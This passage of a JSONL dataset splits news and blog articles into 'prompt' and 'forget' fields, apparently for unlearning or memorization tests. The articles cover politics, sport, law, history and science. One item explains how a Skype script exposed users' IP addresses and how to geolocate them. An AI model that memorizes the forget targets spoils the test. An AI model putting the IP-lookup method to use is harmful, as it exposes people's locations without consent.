said the council already changed and enhanced the historic designation grant process in a way that would raise the amount available for the Gore Park buildings to the $1.1 million. The Royal Connaught project also benefited from that change, Farr said. Council was \"very generous to help the issue along by changing that previous condition,\" he said. \"I think that speaks volumes.\" Blanchard toured city"}
{"prompt": "Mars Observer was one of three NASA Mars missions lost in the 1990s because of technical errors, and not as part of a broader conspiracy. The dark side of space disaster theories Space disasters attract so much public attention and often involve such complex and subtle sequences of events that there\u2019s an entire Internet literature of \u201ccrackpot causes\u201d on par with JFK assassination myths. To the degree that innovative analysis is often critical to reconstructing\u2014from partial and often garbled evidence\u2014a shocking causal sequence leading from goodness to disaster, the initial investigation period demands that critical judgment be held somewhat in", "forget": "check so as not to discourage imagination. However, once a logical reconstruction gels, is tested, and then is ultimately verified by being implemented and hence reducing future flight hazards, that official explanation achieves a substantial level of authenticity. But not to everyone\u2019s satisfaction, apparently, as a search of still-thriving non-traditional explanations of the Apollo 1 fire, the Apollo 13 breakdown, the Challenger disintegration, and the Columbia catastrophe, whose fifth anniversary now approaches. For example, in the case of Columbia, YouTube is full of videos from self-styled experts still convinced a freak bolt of ionospheric lightning crippled the spaceship. A famous photograph supposedly shows that bolt, even though space experts have long been satisfied that the bizarre image was merely the result of camera jiggle during a time-lapse exposure. Apart from the comic relief value of such crackpot ideas, there\u2019s a darker aspect of this kind of cultural pathology, just as there are serious analyses pointing to the socially toxic effects of the JFK assassination \u201calternate theories\u201d. For spaceflight, being distracted by the wrong cause means being tempted by the wrong fix. That\u2019s never amusing, and often can be expensive. For spaceflight, being distracted by the wrong cause means being tempted by the wrong fix. That\u2019s never amusing, and often can be expensive. As an egregious \u201cbad example\u201d of wrong causes, a recent book (Dark Mission, by Richard Hoagland and Michael Bara) spent a lot of time muddying the waters over a series of NASA Mars mission failures in the 1990s. This isn\u2019t just some remote corner of an intellectual ghetto on the Internet\u2014the book came within one tick mark of making it onto the New York Times bestsellers list for paperback non-fiction (it reached #21 nationwide). So as an exercise in cultural self-defense and in proselytizing sound \u201cspace safety\u201d history,"}
{"prompt": "Superior Court: Insurance company off the hook for 'ball tap' injury The \"ball tap\" Hearn delivered as his friend Clayton Russell played a video game in his basement rendered Russell infertile, possibly for the rest of his life. When Brandon Hearn sneaked up behind his teenage friend and delivered a playful tap to the testicles, he likely had no idea it would touch off an eight-year court fight. But because Hearn's forearm blow to Russell's groin was intentional, Hearn's parents' insurance company is off the hook for Russell's injuries, a Pennsylvania appeals court ruled this week. The teens were playing", "forget": "\"Dance, Dance Revolution\" in Russell's parents' basement when Hearn decided to give Russell a physical rebuke for playing what he considered a \"little kid's game,\" according to the Superior Court opinion. \"In our little group, if you were doing something, like, kind of stupid, that's what you \u2014 you would get a ball tap,\" Hearn testified. According to Hearn, then 18, he crept up behind Russell and made a motion as if he was going to strike him in the testicles, but had second thoughts. A third friend, identified only as Greg, egged him on, nodding yes. At that point Hearn struck Russell in the groin with his forearm, the opinion says. Clayton was immediately in pain, which intensified during the night. His mother took him to hospital the next day, where he was diagnosed with testicular torsion and underwent emergency surgery. Tests revealed Russell may be permanently infertile as a result of the injury, according to the opinion. Hearn visited Russell in the hospital because he felt bad about the injury, he testified. \"I never meant to hurt him like that. I meant for him to be in pain for about five seconds,\" Hearn said, according to the opinion. Russell's mother Stacey Marshall sued Hearn in Montgomery County Court, and the American National Property and Casualty Companies asked the court to rule that Hearn's actions were not covered by the policy because it excluded coverage for injuries caused by intentional acts. In a decision upholding a ruling in favor of the insurance company, the Superior Court found Hearn's actions were clearly intentional. And although Hearn testified he intended only to cause momentary discomfort to Russell, the policy excludes coverage for bodily injury caused by intentional acts, \"even if the actual injury or damage is different than expected or intended.\""}
{"prompt": "Human Rights Watch (HRW) says Daesh terrorists have executed more than 300 former Iraqi policemen south of Mosul following heavy losses in the ongoing battle with Iraqi forces. The executions were carried out near the recently-liberated Hammam al-Alil town three weeks ago and the victims were buried in a mass grave, the group said on Thursday. The HRW cited a witness as saying that he saw the Takfiri terrorists driving four large trucks with 100 to 125 men on board on October 28 and that he recognized some of them as former policemen. The terrorists then drove past an agricultural", "forget": "college close to the site of the mass grave where minutes later, he heard shots being fired from automatic rifles and cries of distress, the group said. A similar scene was repeated the next night, with between 130 to 145 men being ferried, he told the group. An unnamed Hammam al-Alil resident confirmed the news, saying he heard automatic gunfire shots in the area for three straight nights, each lasting nearly seven minutes. \u201cThis is another piece of evidence of the horrific mass murder by Daesh of former law enforcement officers in and around Mosul,\u201d Deputy Middle East Director at Human Rights Watch Joe Stork said. The Iraqi army liberated Hammam al-Alil on November 7. A UN official said the next day that Daesh had abducted 295 former members of Iraqi security forces near Mosul. Soldiers from the Iraqi Special Forces 2nd Division run for cover under fire from Daesh militants as they push into the Aden neighborhood of the northern city of Mosul on November 16, 2016. (Photo by AFP) Iraqi troops are in the midst of a massive operation to retake Mosul, the last stronghold of the Daesh terrorists in the country. On Thursday, pro-government Hashd al-Sha'bi fighters handed over the control of 16 villages in in Tal Afar to the Iraqi army after recapturing them. A member of Nineveh Provincial Council, Husamuddin al-Abbar, said the army will control the territories as volunteer fighters proceed to free more villages. Additionally, Iraqi counter-terrorism forces established full control over Tammuz 30 neighborhood in eastern Mosul. Security forces also launched an offensive in Mosul\u2019s eastern district of al-Moharebin and were reported to be capturing it within few hours. Elsewhere in the western city of Kabisa, officials said an Iraqi army unit repelled a Daesh militant assault, killing scores of the terrorists"}
{"prompt": "On Nov. 6, 1968, the Black Student Union and a coalition of student groups at San Francisco State University known as the Third World Liberation Front began what would become the longest student strike in U.S. history. They wanted the university to institute an ethnic studies program. Beyond simply teaching students names like Frederick Douglass and Sacajawea, the program they envisioned would explore race and ethnicity across all disciplines in order to address issues of Eurocentrism, oppression and identity. Such a field had been proposed since the late 19th century by thinkers like W.E.B. Du Bois and Jos\u00e9 Mart\u00ed, but", "forget": "obstinate elites had never formalized it in mainstream academia. At one rally, San Francisco State President S.I. Hayakawa silenced student activists by yanking the wires out of the loudspeakers. But after nearly five months, he capitulated, instituting the first College of Ethnic Studies in the nation. The movement that started at San Francisco State spread across the state and country. Today, some form of ethnic studies is taught at most American universities. Nine of the 10 University of California campuses (UC San Francisco, the system\u2019s health science campus, is the exception) have various ethnic studies departments and programs, offering courses on Native American literature (UC San Diego), \u201cGandhi and the Civil Rights Movement in America\u201d (UC Berkeley) and farmworker history (UCLA). {snip} But ethnic studies remains virtually absent in K-12 public education nationally, and it is rare even in California, where about three-quarters of students are nonwhite. That could change with Assemblyman Luis Alejo\u2019s (D-Watsonville) recent introduction of AB 1750, a bill requiring California to form a task force that would study how to best implement a standardized ethnic studies program for high school students throughout the state. Such a program would shore up important gaps in students\u2019 knowledge and, coming from one of the most diverse states in the nation, serve as a powerful model for the rest of the country. {snip} A report this year by the Southern Poverty Law Center revealed a disturbing abundance of states offering little or no study of the civil rights movement. In a comprehensive analysis of state standards and instructional resources, the center handed out Fs to nearly half of the country based on what teachers were expected to teach about civil rights history. {snip} {snip} In 2011, the National Education Assn. published a review of research on ethnic studies that summarized"}
{"prompt": "Defending champion Matt Neal is itching to get back on-track when the Dunlop MSA British Touring Car Championship returns at Snetterton next weekend. Neal heads Honda Yuasa Racing teammate Gordon Shedden by the smallest of margins in the title fight, just one point separating the pair, with Jason Plato 29 points behind in third. With four wins in the opening half of the season, and five further appearances on the podium, the 45-year-old entered the break in the best possible position for his title defence. But he is anticipating a tough battle to keep hold of the championship lead. \u201cThe", "forget": "first half has gone amazingly well, no one can deny that,\u201d the three-time champion told theCheckeredFlag.co.uk, \u201cespecially considering all the restrictions they are heaping on our Civics to slow us down. \u201cBut it's only half way and we're now heading in to the half of the season where the gloves get taken off. So I just need to keep focused, get my head down and try to keep notching some results up. But no doubt it'll go down to the last round.\u201d One year ago, the debut of the new '300' layout at Snetterton, Neal and Plato came to blows within seconds of the first race, contact sending the Honda spinning at more than 100mph. Plato, then in a Chevrolet Cruze, qualified pole and won the opening race but this time, with Honda's increasingly impressive new NGTC package at his disposal, Neal believes the combination of long straights and a tight infield means Snetterton is anyone's guess- and the same applies to the battle within the Yuasa team as well. \u201cBetween me and Flash it's swung backwards and forwards,\u201d he says, the two racking up ten wins from 15 between them. \u201cHe had the upper hand at a few meetings and then I've managed to swing it back my way for the last two, it could literally go either way. \u201cAs for Jason, who knows? He'll be there because he always is and the MG has pace, he's the one who has the potential to spoil our party for sure.\u201d The Civics turned a corner in their development in a test at Pembrey before Oulton Park, where they won all three races, and Neal feels going into the second half of the season they will continue to be the car to beat. \u201cI think at the beginning S2000s had the"}
{"prompt": "Sandra Day O'Connor frequently filed concurring opinions that sought to narrow the scope of majority rulings. | AP Photo Senate confirms first female Supreme Court justice, Sept. 21, 1981 On this day in 1981, the Senate unanimously confirmed Sandra Day O'Connor as the nation\u2019s first woman to serve as a U.S. Supreme Court justice. In anticipation of her arrival, the court abandoned its traditional use of \u201cMr. Justice\u201d as its preferred form of address, opting for the gender-neutral \u201cJustice.\u201d In nominating O\u2019Connor, President Ronald Reagan made good on a campaign promise to choose a woman as a member of the", "forget": "high court. Early in her tenure, she was widely viewed as a member of the court\u2019s conservative wing. Story Continued Below She was said to have taken her lead from Justice (later Chief Justice) William Rehnquist, a fellow Arizonan who had been O\u2019Connor\u2019s classmate at Stanford Law School. However, after a few terms, O'Connor established her own \u201cswing\u201d position on the court, eventually emerging as the court\u2019s influential centrist coalition-builder. Although she commonly sided with the conservatives, she often would rely on her political experience in the Arizona state Senate to help form her views. She frequently filed concurring opinions that sought to narrow the scope of majority rulings. At a 1985 press dinner, Washington Redskins fullback John Riggins told O'Connor, \u201cCome on, Sandy baby, loosen up. You're too tight,\u201d then passed out drunk on the floor. The next day, the women with whom she shared an early morning exercise class presented her with a T-shirt that read: \u201cLoosen up at the Supreme Court.\u201d Years later, when Riggins made his acting debut at a Washington theater, she gave him a dozen roses on opening night. O'Connor made her own brief foray into acting in 1996, appearing as Queen Isabel in a Shakespeare Theatre production of Henry V. In 2000, O'Connor cast the deciding vote in Bush v. Gore. The ruling ended the recount of votes in Florida in the contested outcome of the presidential race. It cleared a path for George W. Bush to enter the White House. O'Connor later said that perhaps the court should not have weighed in, based on the circumstances of the contest. With Rehnquist and Justice John Paul Stevens (who was senior to her) absent, O'Connor presided on Feb. 22, 2005, over oral arguments in the case of Kelo v. City of New London, becoming"}
{"prompt": "This article is about a prefix notation in mathematics and computer sciences. For the similarly named logic, see \u0141ukasiewicz logic Polish notation (PN), also known as normal Polish notation (NPN),[1] \u0141ukasiewicz notation, Warsaw notation, Polish prefix notation or simply prefix notation, is a mathematical notation in which operators precede their operands, in contrast to (the more common) infix notation (in which operators are placed between operands), as well as to reverse Polish notation (RPN, in which operators follow their operands). It does not need any parentheses as long as each operator has a fixed number of operands. The description \"Polish\"", "forget": "refers to the nationality of logician Jan \u0141ukasiewicz,[2] who invented Polish notation in 1924.[3][4] The term Polish notation is sometimes taken (as the opposite of infix notation) to also include reverse Polish notation.[5] When Polish notation is used as a syntax for mathematical expressions by programming language interpreters, it is readily parsed into abstract syntax trees and can, in fact, define a one-to-one representation for the same. Because of this, Lisp (see below) and related programming languages define their entire syntax in prefix notation (and others use postfix notation). A quotation from a paper by Jan \u0141ukasiewicz, Remarks on Nicod's Axiom and on \"Generalizing Deduction\", page 180, states how the notation was invented: I came upon the idea of a parenthesis-free notation in 1924. I used that notation for the first time in my article \u0141ukasiewicz(1), p. 610, footnote. The reference cited by \u0141ukasiewicz is apparently a lithographed report in Polish. The referring paper by \u0141ukasiewicz Remarks on Nicod's Axiom and on \"Generalizing Deduction\" was reviewed by Henry A. Pogorzelski in the Journal of Symbolic Logic in 1965.[6] Heinrich Behmann, editor in 1924 of the article of Moses Sch\u00f6nfinkel[7] already had the idea of eliminating parentheses in logic formulas. Alonzo Church mentions this notation in his classic book on mathematical logic as worthy of remark in notational systems even contrasted to Alfred Whitehead and Bertrand Russell's logical notational exposition and work in Principia Mathematica.[8] In \u0141ukasiewicz's 1951 book, Aristotle's Syllogistic from the Standpoint of Modern Formal Logic, he mentions that the principle of his notation was to write the functors before the arguments to avoid brackets and that he had employed his notation in his logical papers since 1929.[9] He then goes on to cite, as an example, a 1930 paper he wrote with Alfred Tarski on the sentential calculus.[10]"}
{"prompt": "If you are a user of the messaging software Skype, you know that you can see the location of your contacts in the Skype interface. What you probably do not know is that there is currently a way to display a Skype user's remote and local IP address as well. A script has been uploaded to Github that offers these options. According to the page, it can be used to lookup IP addresses of online Skype accounts, and return both the remote and the local IP of that account on a website. This blog post reveals how the script works.", "forget": "It basically starts an add a Skype contact request but does not complete it. The log file will display the local and remote IP of that Skype user, even if the user is not added to the list of contacts in Skype. Update: The script is no longer available. The script is for instance available on this site. Just enter the user name of a Skype user, fill out the captcha, and click the search button to initiate the lookup. You will receive the user's remote IP and port, as well as the local IP and port. This works only if the Skype user is online at the time of the lookup, and not if the user is offline. The IP address can reveal the user's country of origin, and maybe even the town or district. This can be done with the help of tools such as this one. Just enter a public IP address in the form, and you will receive information about the provider of the IP address. You can also use a tool like IP on Map to display the real world location of an IP address on a map. Some Skype users may not see this as a problem at all, as the IP address does not reveal a user's name or street address for instance. The IP address can however lead to those information, for instance in a lawsuit. There is currently no way of protecting yourself against the lookup of the IP address, other than not logging in to Skype when the software is not needed. The only other option would be the use of a virtual private network or proxy to hide the IP address from users who look it up. (via Hacker News) What's your take on this? Do you think Microsoft"}
{"prompt": "GRAINS grains \u2013 /gr\u0101ns/ \u2013 noun Aside from water, the most abundant ingredient in the most delicious beverage on earth is malted grains. Particularly malted barley. Yes, you can create a beer without malted barley (and most gluten free beers do so, using sorghum primarily) but odds are if you\u2019re not ordering gluten free, malted grains are all up in your pint glass. The fun part about these grains is that you can use a lot of different grains in a single batch of beer, creating complex and diverse colors, flavors, aromas and even mouthfeel. So grab a cold one", "forget": "and fill your glass because it\u2019s learning time. Per the usual, my typical disclaimer about the fact that this is a general overview of the topic mentioned above and not an in-depth science lesson applies. The Malting Process There are plenty of grains that are used to make beer but the most common is barley (2- row barley and 6-row barley to get specific) so let\u2019s focus on that. The malting process for grains has a lot of science behind it but the 10,000 foot view is this: Steeping Grains are made warm and moist to start their germination process Germination Enzymes work to produce more enzymes and expose starches that the plant would use for food The kernels start to sprout (this small stem is called an \u201cacrospire\u201d) Drying Once the acrospire is about the same length as the kernel itself, the grains are heated and dried to stop further growth locking in those starches and enzymes Now you have a kernel packed with enzymes and starches. The kernels are then heated to specific temperatures (by a kiln) with specific moisture control to create specific colors (measured in SRM) and flavors among other things. During the brewing process the enzymes convert the starches into sugars, then those sugars get eaten by yeast which then produces alcohol. These enzyme and starch packed kernels are a very good thing for beer. How this impacts your beer\u2019s ingredient list The lighter the roast, the lighter the color of beer it makes and with darker malts\u2026..you get the idea. However, the lighter malts have a lot more \u201cdiastatic power\u201d than the darker malts. Diastatic power is a measure of the malt\u2019s ability to break down starches into sugars during the brewing process. The darker a malt gets, the less diastatic power it has."}
{"prompt": "Thigh-High Politics is an op-ed column by Teen Vogue writer Lauren Duca that breaks down the news, provides resources for the resistance, and just generally refuses to accept toxic nonsense. I was en route to the Sydney Airport in Australia when my cab driver asked me if I was ashamed of President Donald Trump. I immediately answered yes, before thinking about how ludicrous that question would be in any other context. It would have been provocative, perhaps, to ask an American tourist if she was ashamed of former Presidents Barack Obama or George W. Bush (though the latter\u2019s global favorability", "forget": "ratings were far lower). Bush deceived the country as a means of invading Iraq, but even as public understanding about his actions became well-understood and global disgust morphed into widespread protest, there was still a patina of reverence associated with the Commander in Chief. At least in polite interaction, respect for the office was generally assumed \u2014 outside of the countries they were actively bombing, anyway. Under Trump, any such sense of deference has been obliterated. My cab driver in Sydney wasn\u2019t trying to be rude, he was worried. The subtext rang of pity rather than condemnation, and the same was true of many other Australians and other foreigners I met while traveling through the country over the course of two weeks in October. On a dive boat off the Great Barrier Reef in Cairns, I sat surrounded by an Australian man, two brothers from Denmark, and a couple from Germany, while the other New Yorker and I attempted to explain how Trump happened. As we discussed horrors like the travel ban, birth control rollback, and the ongoing aggravation of North Korea, they alternately stared in wide-eyed horror or shook their heads in sympathetic disbelief. We weren\u2019t offended \u2014 we were desperate to separate ourselves from the mess that is America. It was as if we had done something profoundly humiliating and they were at a total loss as to how to make us feel better. Or, as one of my Twitter followers put it a few days later, \u201cWe used to look up to you. Now we\u2019re embarrassed for you.\u201d A similar sentiment is shared by the global population. A Pew Research poll of 37 countries conducted in January revealed that only 22% of respondents have \u201cconfidence in Trump to do the right thing when it comes to international"}
{"prompt": "NHL.com released a poll on Friday ranking their top 14 defensemen in the league and coming in at number 12 on this list was Arizona Coyotes defenseman Oliver Ekman-Larsson. The Swedish defenseman is only 23 years old, but he has quickly become one of the top blueliners in not only the league, but the world as well. As one of five Coyotes players selected to represent their country in the 2014 Winter Olympics last February in Sochi, Ekman-Larsson earned a silver medal as a member of the Swedish national team. While Ekman-Larsson\u2019s skills on defense have made him a solid", "forget": "player at that position, it is his impressive abilities on offense that put him on a higher level. The Early Years of Ekman-Larsson Interestingly enough, Ekman-Larsson\u2019s career in the NHL also began overseas. Selected by the Coyotes with the sixth overall pick in the 2009 NHL Entry Draft, Ekman-Larsson made his debut on October 9, 2010 when the then-Phoenix Coyotes faced the Boston Bruins in Prague, Czech Republic. Ekman-Larsson recorded his first career NHL point on October 23, 2010 against the Carolina Hurricanes and notched his first career NHL goal on January 17, 2011 against the San Jose Sharks. After finishing his rookie year with 11 points in 48 games, Ekman-Larsson would begin to make his mark on the league\u2019s landscape in his sophomore year. He racked up 32 points in the 2011-12 NHL season, which ranked second on the team in terms of scoring by defenseman and seventh on the team in overall scoring. Ekman-Larsson\u2019s biggest offensive contribution came when he notched his first career NHL playoff goal in the second period of Game 6 of the Coyotes\u2019 first-round series against the Chicago Blackhawks. That was the only goal he scored during the 2012 Stanley Cup playoffs, but it would end up being the goal that put the Coyotes into the second round of the playoffs for the first time since moving from Winnipeg. Last Season: Honing The Craft Ekman-Larsson\u2019s offensive prowess continued to flourish last season as he set career highs in goals (15), assists (29), points (44) and power-play goals (8). The Coyotes had one of their best seasons in franchise history with the man advantage last year and Ekman-Larsson played a vital role in getting the power play to work well. His 22 points on the power play was second-most on the team, only trailing defensive"}
{"prompt": "FISC Judge Reggie Walton Hesitantly Amends Latest Section 215 Order To Conform With Presidential Directive from the contact-chaining-or-beer?-'less-hoppy-than-usual' dept As was noted here in January, the non-rubber stamp FISA court rubber stamped the latest NSA bulk record request without hesitation, almost as though the previous seven months of leaks had never happened. That order has now been amended due to the January 17th presidential directive issued in conjunction with the administration's NSA reforms. The amended order, written by outgoing FISC judge Reggie Walton, makes the changes requested (two hops instead of three, RAS selectors approved by a FISC judge) and", "forget": "provides some more background on the NSA's minimization techniques. While Walton has no problem with the new two-hop contact chaining limit, he does seem concerned with the RAS approval being left to the court. He spends several paragraphs discussing this particular aspect, which seems a bit strange, considering he was the same judge who temporarily limited the NSA to seeking approval from the court to search the collection back in 2009, after uncovering years of agency abuse. (Unfortunately, Smith vs. Maryland is again mentioned in support of the notion that untargeted bulk collections don't violate the Fourth Amendment. This is a 1979 ruling on pen registers that doesn't really apply to the Section 215 collections -- and likely wouldn't except that FISC judge Kollar-Kotelly gave it a very favorable reading back in 2004/2005 [thanks for nothing, needless redactions!].) Although the Court is satisfied that the effect of the government' proposal to require RAS approvals by the FISC would be consistent with Section 215's definition of \"minimization procedures,\" that is not the end of the discussion. FISA contemplates that the Executive Branch, which formulates the minimization procedures and receives the tangible things from the recipient of the production order, will apply those procedures, with appropriate oversight by the FISC. Historically, the minimization procedures proposed by the government and approved by the Court under PISA have reflected this allocation of responsibilities, which also recognizes the distinct roles of the Executive Branch and the Judiciary in our system of government. The government' proposal to require RAS determinations by the FISC as a prerequisite to NSA queries of the database would deviate from this framework by giving the Court a more prominent role not just in overseeing Executive Branch compliance with FISC-approved procedures, but in the actual application of those procedures. It could also"}
{"prompt": "Hillary Clinton unveiled a health care proposal Saturday that incorporates much of what her opponent Bernie Sanders has pushed for, in a second move this week that is apparently aimed at securing an endorsement from Sanders. In a statement, the presumptive Democratic nominee for president announced her support to expand Medicaid, offer a \"public-option\" for health insurance and double funding for primary care services at community health centers. The centers, which largely serve communities in rural areas, have long been a priority for the senator from Vermont who fought to include $11 billion in funding for the centers in the", "forget": "Affordable Care Act of 2010. Clinton said she would support people 55 or older to buy into Medicare while protecting the traditional Medicare program. Clinton first came out in support of giving people the option to buy into Medicare in May during the current election cycle as a result of the effect the Sanders campaign had on Clinton to take more progressive stances. Her campaign noted that she has supported the \"public-option\" health insurance plan back to her 2008 presidential campaign and has opted for those below the required age to buy into Medicare as far back as 2001, when she was a senator in New York. \"We have more work to do to finish our long fight to provide universal, quality, affordable health care to everyone in America,\" Clinton said in a statement. \"Already, the Affordable Care Act has expanded coverage to 20 million Americans. As president, I will make sure Republicans never succeed in their attempts to strip away their care and that the remaining uninsured should be able to get the affordable coverage they need to stay healthy.\" Sanders revealed his \"Medicare-for-all\" or single-payer health reform plan in January, which would overhaul the current system in the country and would require the federal government to provide coverage to everyone in the country. Soon after the plan was unveiled, Sanders praised the steps taken by the Clinton campaign. \"Today's proposal by Hillary Clinton is an important step toward expanding health insurance and health care access to millions of Americans,\" Sanders said. In a conference call with reporters, Sanders did not confirm reports that he will endorse Clinton at an event in New Hampshire on Tuesday, the Washington Post reported. Regarding the endorsement, he said he would have more to say in the very near future. Clinton's announcement comes"}
{"prompt": "Get the biggest business stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email That is the view of Mark Watts, director of multinational design firm Arup and a leading expert on sustainable planning. Mr Watts told the MIPIM property conference in Cannes that cities faced unprecedented challenges - with the population soaring, and human beings now consuming more natural resources than the earth was able to replace. But he said there were enough examples of smart, green thinking throughout the world to make", "forget": "him optimistic about the future. Mr Watts outlined a model 'future city' investing heavily in cycling, electric buses, energy-generating buildings and urban farms. And he said that ecologically sound policies adopted throughout the world had often been adopted for economic, rather than environmental, reasons. Mr Watts said Copenhagen - where 35pc of all trips to work are by bike - had not only reduced spending on more expensive transport infrastructure, but was saving one dollar in health costs for every kilometre cycled. And he said an app being used in San Fransisco, alerting drivers to empty parking bays throughout the city, had cut congestion by 10 per cent. Mr Watts said the most successful 40 cities in the world had all seen the biggest increases on spending on cycling. He added: \"Most cities in the world which are judged to be the most liveable and most efficient are the ones that have sustainable transport systems. \"I think that we are going to see the return of the old-fashioned bicycle in the most successful cities in the world, moving forward. \"There are huge savings through going down this route.\" Mr Watts said 'future cities' were going to have to 'run on data' - with a much better awareness of who was consuming what resources, and when. And he said diminishing resources, natural disasters and uncertainty over energy supplies meant cities would have to be more 'self-reliant'. He told delegates: \"In the future we will see much more of a move back to cities growing much of their own produce, while also creating flood plains and green spaces for people to enjoy.\" Mr Watts said national governments had often failed to work together on ecological issues - but city leaders had been much more forward-thinking, showing 'a huge amount of collaboration'. He"}
{"prompt": "NASCAR owners are taking a firm stance against the \u2018Take a knee\u2019 anthem protests which escalated across the NFL in the wake of US President Donald Trump\u2019s tweets on the issue on Sunday. The gesture was started by former San Francisco 49ers quarterback Colin Kaepernick last season as a demonstration against police brutality. Trump reignited the controversy on Friday when he said that anyone taking part in the demonstration should be fired. While his comments caused a backlash among football players and team owners alike, the \u2018Take a knee\u2019 movement gained little traction in NASCAR where several owners said they", "forget": "would not condone drivers or staff taking part in the protests. Read more Richard Petty who co-owns Richard Petty Motorsports told the AP that anyone who refuses to stand for the national anthem should be forced to leave the country. \u201cAnybody that don\u2019t stand up for the anthem oughta be out of the country. Period. What got \u2019em where they\u2019re at? The United States,\u201d Petty said. Those sentiments were echoed by another owner, Richard Childress, who said any protests from his team members would \u201cget you a ride on a Greyhound bus.\u201d \u201cAnybody that works for me should respect the country we live in. So many people gave their lives for it. This is America,\u201d Childress said according to Yahoo sports. READ MORE: Rapper Jay Z rumored to have rebuffed Super Bowl halftime show request in solidarity stand Owner Andy Murstein also condemned the protesters but took a more conciliatory stance. When asked what he would do with an employee who takes a knee, Murstein told ESPN: \"I would sit down with them and say it's the wrong thing to do that and many people, including myself, view it as an affront to our great country.\u201d \u201cIf there is disenchantment towards the president or a few bad law enforcement officers, don't have it cross over to all that is still good and right about our country.\" There was one notable exception to the hegemony, however, with driver and team owner Dale Earnhardt Jr backing the right of all Americans to peaceful protest, by quoting JFK on Twitter. All Americans R granted rights 2 peaceful protests Those who make peaceful revolution impossible will make violent revolution inevitable-JFK \u2014 Dale Earnhardt Jr. (@DaleJr) September 25, 2017 Trump tweeted his appreciation for the stance of most involved with NASCAR on Monday morning, saying"}
{"prompt": "The quick down and dirty! Just in case its 3AM and you\u2019re legs and arms are twitching and you are ready to lose it! We cannot operate on NO sleep, let alone deal with the stress of our bodies freaking out while we are not sleeping! I would find myself still pacing the floor when the morning alarm went off! So how do we even have a hope of dealing with the resulting memory loss, \u201csorry I have no brain\u201d and increased pain that comes with this lack of sleep and general crazy making . It makes a healthy individual\u2019s", "forget": "life difficult to navigate! So\u2026. from my hours and hours of late night research looking for answers, trying desperately to stop my mandatory committal to a \u201crubber room\u201d. Here are a few points, a condensed version of what helped me. I am not a Dr. and before starting any new medical approach, review these points with your GP and/or specialist and form a plan of action! A plan gives control (kind of, thats what they tell me). This article on RLS has an autoimmune slant. If you do not have a chronic illness such as RA there may or may not be other things to consider. There will still be many suggestions you can use! STARTING POINTS: Identify your triggers: LOW IRON (RA affects iron levels) SPECIFIC FOODS, Too much or too little EXERCISE, INFLAMMATION (this is where RA again rears it\u2019s head), STRESS , MEDICATIONS, NICOTINE, CAFFEINE Check your blood work: FERRITIN, KEEP YOUR level greater than 50, THYROID LEVELS, HORMONES Consider the role of FOLIC ACID especially when taking Methotrexate which depletes Folic. Increasing my Folic dose has had a big impact. Can you and your chosen professional add any prescribed medications to help? HERE ARE MY TRIGGERS (things I envision bathing my nerves in irritants) which exacerbate my RLS: 1. Aspartame and artificial sweeteners 2. Too much exercise 3. Alcohol, Caffeine and Chocolate 4. Ice cream (go figure!) 5. HORMONES the night before my menstrual cycle 6. Inflammation: Flares, RLS worse a couple of days before my next biologic dose Initially I cut out what I could from the above list entirely. Once the treatment plan started to take effect, I started to play with when in the day and how much I could eat those specific triggers and started practicing moderation. I was in this for"}
{"prompt": "Mapping the Post-human For a few days in the first week of September I was in the Breton port city of Brest (which although medieval is an architectural riot of modernity, nearly every building except its impregnable chateau having been I found it strange to be listening in to serious academic discussion of ideas that originated on the fringes of science fiction, and to hear 'Kurzweil', 'Vinge' and 'extropians' pop up from a flow of French discourse like yellow plastic ducks on the Seine. About half the discussion was on the post-human in mainstream literature and philosophy, but popular culture,", "forget": "movies, and SF were just as minutely and seriously anatomised. My own presentation touched on my earliest encounter with extropianism and (that cheap laugh out of the way) argued that Darwin had made post-humanism possible: first, by establishing that humanity was a species with predecessors and (by implication) possible successors, and (therefore) that the human mind was the outcome of a material process; and secondly, by shifting the notion of 'species' from an essence to a population, with no intrinsic limit of variation. Once 'the human' ceases to be an essence, it loses its self-evident status as a standard of value. Watson and Crick followed up in 1953 by demonstrating the material basis of heredity, and hence the possibility of consciously changing it. Two developments that were new in the 1980s and 1990s made post-humanism a project rather than a prophecy. The first was that thanks to Moore's Law and molecular biology, it became possible for the first time for people to imagine that they themselves might live into the post-human era. The second was that socialism, the global project whereby the International was to unite the human race, was over, and with it the counter-project of liberal humanism. Humanity is no longer an imagined community. If it's ever to become so again, something like the socialist project will have to be revived, or replaced by a different project with less hubris but no less ambition. Otherwise the robots will rise up and eat our brains, if we haven't beaten them to it by bashing each other's heads in first. For a few days in the first week of September I was in the Breton port city of Brest (which although medieval is an architectural riot of modernity, nearly every building except its impregnable chateau having been levelled in 1944)"}
{"prompt": "It's budget-cutting time for the U.S. Navy. And while the admirals seem fine with this, Congress is getting nervous. As reported on DefenseNews.com last week, there's a furious debate brewing between Congress and the Pentagon over the future of the Navy's cruiser fleet. In a nutshell, it goes like this: Currently, we have 22 Ticonderoga-class cruisers in the Navy. While sometimes dispatched on solo missions, or to lead a surface combatant task force, these cruisers' primary purpose is heading up the air defense squadrons protecting America's 11 aircraft carriers. Problem is, America's cruisers are starting to look a little long", "forget": "in the tooth. Built in the 1980s and '90s by contractors General Dynamics (NYSE:GD) and Huntington Ingalls (NYSE:HII), most of the Ticonderoga-class cruisers are nearing the end of their lifespans. By 2028, all 22 are expected to have lived out their useful service lives, worn out and ready for retirement. And right now, we've got nothing to replace them. A planned replacement class of warships, dubbed CG(X), was canceled in 2010 over worries the ships were becoming too expensive. What remains of that effort, and a sister program called DD(X), is what we now call the DDG-1000 program. It consists of a grand total of three planned \"stealth\" warships, built by General Dynamics at a cost of $3.5 billion apiece -- and they're not even full-sized cruisers, but just upsized destroyers. The Navy thinks it has a solution to the problem. It has proposed taking 11 \"CGs\" out of service starting in 2019, and upgrading them to extend their service lives at a cost of $8.8 billion. The 11 cruisers still in service would still quietly expire by 2028. But the 11 upgraded ships should be good for another 15 years each and, after returning to the fleet, would keep us \"in cruisers\" through about 2045. You can have half, or you can have nothing The upshot? The Navy's giving Congress two choices: Either operate on half today's cruiser fleet for the next 30 years, or face the prospect of going 100% \"cruiser-less\" after 2028. This half-or-nothing proposal has ruffled the feathers of defense hawks in Congress. Complicating matters further, some Congressmen worry that the Navy's real intention is to retire the first 11 cruisers, not upgrade them at all, and spend its money on other pet projects instead. Crazy as it sounds -- worrying that the Navy has a"}
